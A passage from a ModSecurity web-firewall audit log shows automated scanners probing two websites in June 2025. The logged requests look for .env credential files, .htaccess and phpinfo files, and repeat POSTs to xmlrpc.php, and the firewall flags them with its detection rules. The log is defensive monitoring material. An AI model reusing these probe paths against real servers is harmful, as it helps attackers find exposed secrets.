"CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9F43ZqyQ8YfVGvJU7dSgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025699946652 997386 (- - -) Stopwatch2: 1750025699946652 997386; combined=2309, p1=369, p2=1424, p3=57, p4=81, p5=237, sr=96, sw=141, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7a4fe20b-Z-- --22ac6f02-A-- [16/Jun/2025:03:45:12.537962 +0530] aE9F7x-kH31pk4mNbsVDqQAAAAo 185.177.72.210 48788 127.0.0.1 7081 --22ac6f02-B-- GET /:8888/cgi-bin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --22ac6f02-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cc0c66e94aef6b9984901584b5b6f4331750025712; expires=Sun, 15 Jun 2025 23:15:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --22ac6f02-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/cgi-bin/.env"] [unique_id "aE9F7x-kH31pk4mNbsVDqQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025711868954 669071 (- - -) Stopwatch2: 1750025711868954 669071; combined=2203, p1=438, p2=1652, p3=0, p4=0, p5=113, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --22ac6f02-Z-- --e3466a3f-A-- [16/Jun/2025:03:45:15.286754 +0530] aE9F8lxTdrwJSUMoZvGvHgAAAAc 185.177.72.210 48910 127.0.0.1 7081 --e3466a3f-B-- GET /:8080/backend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e3466a3f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=65ee9f4309961a0655902c984782a6e71750025715; expires=Sun, 15 Jun 2025 23:15:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e3466a3f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/backend/.env"] [unique_id "aE9F8lxTdrwJSUMoZvGvHgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025714620914 665923 (- - -) Stopwatch2: 1750025714620914 665923; combined=1737, p1=362, p2=1256, p3=0, p4=0, p5=118, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e3466a3f-Z-- --b7735421-A-- [16/Jun/2025:03:46:00.993794 +0530] aE9GIBAGYpjnkyifC9Yk-gAAAAU 128.199.112.101 47770 127.0.0.1 7081 --b7735421-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b7735421-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b7735421-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9GIBAGYpjnkyifC9Yk-gAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025760052400 941470 (- - -) Stopwatch2: 1750025760052400 941470; combined=2353, p1=393, p2=1533, p3=40, p4=96, p5=186, sr=114, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b7735421-Z-- --3e9b3f02-A-- [16/Jun/2025:03:46:43.440422 +0530] aE9GSorLgrklqy57Kk2g8AAAAAg 185.177.72.210 45244 127.0.0.1 7081 --3e9b3f02-B-- GET /:10000/django_project_path/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3e9b3f02-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7bd8eab127243f3063e1901a2bf13b641750025803; expires=Sun, 15 Jun 2025 23:16:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3e9b3f02-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/django_project_path/.env"] [unique_id "aE9GSorLgrklqy57Kk2g8AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025802762199 678364 (- - -) Stopwatch2: 1750025802762199 678364; combined=2039, p1=464, p2=1455, p3=0, p4=0, p5=120, sr=142, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3e9b3f02-Z-- --6526bf07-A-- [16/Jun/2025:03:46:52.725985 +0530] aE9GVH2GhYywD7zZgx7_BwAAAAM 185.177.72.210 53810 127.0.0.1 7081 --6526bf07-B-- GET /:5601/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6526bf07-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8bdc5617cb52acb7155927a92c0295f11750025812; expires=Sun, 15 Jun 2025 23:16:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6526bf07-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/frontend/.env"] [unique_id "aE9GVH2GhYywD7zZgx7_BwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025812053679 672370 (- - -) Stopwatch2: 1750025812053679 672370; combined=1965, p1=400, p2=1458, p3=0, p4=0, p5=107, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6526bf07-Z-- --eb8cce40-A-- [16/Jun/2025:03:47:01.415362 +0530] aE9GXBAGYpjnkyifC9YlFQAAAAU 128.199.112.101 54734 127.0.0.1 7081 --eb8cce40-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --eb8cce40-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --eb8cce40-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9GXBAGYpjnkyifC9YlFQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025820453797 961687 (- - -) Stopwatch2: 1750025820453797 961687; combined=2570, p1=347, p2=1542, p3=65, p4=101, p5=315, sr=94, sw=200, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eb8cce40-Z-- --a90fef44-A-- [16/Jun/2025:03:47:03.197261 +0530] aE9GXol8S04UZ4l67-njHQAAAAk 185.177.72.210 54810 127.0.0.1 7081 --a90fef44-B-- GET /:5601/www/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a90fef44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=590bd0bb42f80f0c93fba1349c12334e1750025823; expires=Sun, 15 Jun 2025 23:17:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a90fef44-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/www/.env"] [unique_id "aE9GXol8S04UZ4l67-njHQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025822483340 714009 (- - -) Stopwatch2: 1750025822483340 714009; combined=2108, p1=425, p2=1584, p3=0, p4=0, p5=99, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a90fef44-Z-- --991b9060-A-- [16/Jun/2025:03:47:06.316977 +0530] aE9GYVR6EeXjkGzEkblpwQAAAAs 185.177.72.210 54972 127.0.0.1 7081 --991b9060-B-- GET /misc/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --991b9060-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=290f2884a1f5e856f633415ad325847c1750025826; expires=Sun, 15 Jun 2025 23:17:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --991b9060-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/misc/.env"] [unique_id "aE9GYVR6EeXjkGzEkblpwQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025825604260 712787 (- - -) Stopwatch2: 1750025825604260 712787; combined=2010, p1=395, p2=1523, p3=0, p4=0, p5=92, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --991b9060-Z-- --30f2992f-A-- [16/Jun/2025:03:47:07.391657 +0530] aE9GYn2GhYywD7zZgx7_DgAAAAM 185.177.72.210 55034 127.0.0.1 7081 --30f2992f-B-- GET /:5601/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --30f2992f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e921a52c55abb3273c3f48681ee9dd931750025827; expires=Sun, 15 Jun 2025 23:17:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --30f2992f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/configura/.env"] [unique_id "aE9GYn2GhYywD7zZgx7_DgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025826643160 748563 (- - -) Stopwatch2: 1750025826643160 748563; combined=166053, p1=376, p2=1256, p3=0, p4=0, p5=82263, sr=91, sw=1, l=0, gc=82157 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --30f2992f-Z-- --95fbc33d-A-- [16/Jun/2025:03:47:09.353146 +0530] aE9GZLIOonfcVDbK8_bp5AAAAAA 185.177.72.210 55142 127.0.0.1 7081 --95fbc33d-B-- GET /1.htaccess HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --95fbc33d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3a7f6d7488450d9918d3317b9935eccb1750025829; expires=Sun, 15 Jun 2025 23:17:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --95fbc33d-H-- Message: Warning. Matched phrase ".htaccess" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/1.htaccess"] [unique_id "aE9GZLIOonfcVDbK8_bp5AAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025828671097 682162 (- - -) Stopwatch2: 1750025828671097 682162; combined=1925, p1=446, p2=1375, p3=0, p4=0, p5=104, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --95fbc33d-Z-- --89407806-A-- [16/Jun/2025:03:47:14.373037 +0530] aE9GabIOonfcVDbK8_bp5wAAAAA 185.177.72.210 45242 127.0.0.1 7081 --89407806-B-- GET /backup/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --89407806-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d5fd71ae66b37e14878d30fff0c5d0921750025834; expires=Sun, 15 Jun 2025 23:17:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --89407806-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backup/.env.test"] [unique_id "aE9GabIOonfcVDbK8_bp5wAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025833714167 658961 (- - -) Stopwatch2: 1750025833714167 658961; combined=1762, p1=361, p2=1296, p3=0, p4=0, p5=104, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --89407806-Z-- --04328166-A-- [16/Jun/2025:03:47:17.387778 +0530] aE9GbIrLgrklqy57Kk2hAgAAAAg 185.177.72.210 45392 127.0.0.1 7081 --04328166-B-- GET /:5601/app/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --04328166-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=047d6e130c2f1ee078d20253aa59e0b01750025837; expires=Sun, 15 Jun 2025 23:17:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --04328166-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/app/frontend/.env"] [unique_id "aE9GbIrLgrklqy57Kk2hAgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025836717567 670274 (- - -) Stopwatch2: 1750025836717567 670274; combined=2126, p1=402, p2=1625, p3=0, p4=0, p5=99, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --04328166-Z-- --61ee0c24-A-- [16/Jun/2025:03:47:21.383940 +0530] aE9GcJtpMljr92g54YHrggAAAAE 185.177.72.210 37802 127.0.0.1 7081 --61ee0c24-B-- GET /xampp/phpinfo.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --61ee0c24-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9c3d58245a3eefff39b3d08cbae6914c1750025841; expires=Sun, 15 Jun 2025 23:17:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --61ee0c24-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/xampp/phpinfo.php.old"] [unique_id "aE9GcJtpMljr92g54YHrggAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025840745881 638243 (- - -) Stopwatch2: 1750025840745881 638243; combined=1853, p1=344, p2=1370, p3=0, p4=0, p5=139, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --61ee0c24-Z-- --e87eea09-A-- [16/Jun/2025:03:47:22.354808 +0530] aE9GcR-kH31pk4mNbsVD4wAAAAo 185.177.72.210 37862 127.0.0.1 7081 --e87eea09-B-- GET /examples/01-simple-model/.env HTTP/1.0 Host: 